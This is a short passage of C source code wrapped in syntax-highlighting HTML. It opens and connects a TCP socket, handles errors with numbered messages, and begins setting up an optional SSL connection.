<DIV class="line number384 index383 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number385 index384 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;printf("%s\n", interpreter);</DIV>

<DIV class="line number386 index385 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number387 index386 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;sockfd = socket(AF_INET, SOCK_STREAM, 0);</DIV>

<DIV class="line number388 index387 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (sockfd &lt; 1) { </DIV>

<DIV class="line number389 index388 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("socket error (8)\n");</DIV>

<DIV class="line number390 index389 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number391 index390 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number392 index391 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number393 index392 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) &lt; 0) {</DIV>

<DIV class="line number394 index393 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;printf("connect error (9)\n");</DIV>

<DIV class="line number395 index394 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;exit(255);&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number396 index395 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number397 index396 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (httpsflag) {</DIV>

<DIV class="line number398 index397 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;sslconnection = (connection*) malloc(sizeof(connection));</DIV>

<DIV class="line number399 index398 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (!sslconnection) {</DIV>

<DIV class="line number400 index399 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("malloc error (10)\n");</DIV>

<DIV class="line number401 index400 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);&nbsp;&nbsp; </DIV>

<DIV class="line number402 index401 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number403 index402 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;sslconnection-&gt;handle = NULL;</DIV>

<DIV class="line number404 index403 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;sslconnection-&gt;ctx = NULL;</DIV>

<DIV class="line number405 index404 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number406 index405 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;SSL_library_init();</DIV>

<DIV class="line number407 index406 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

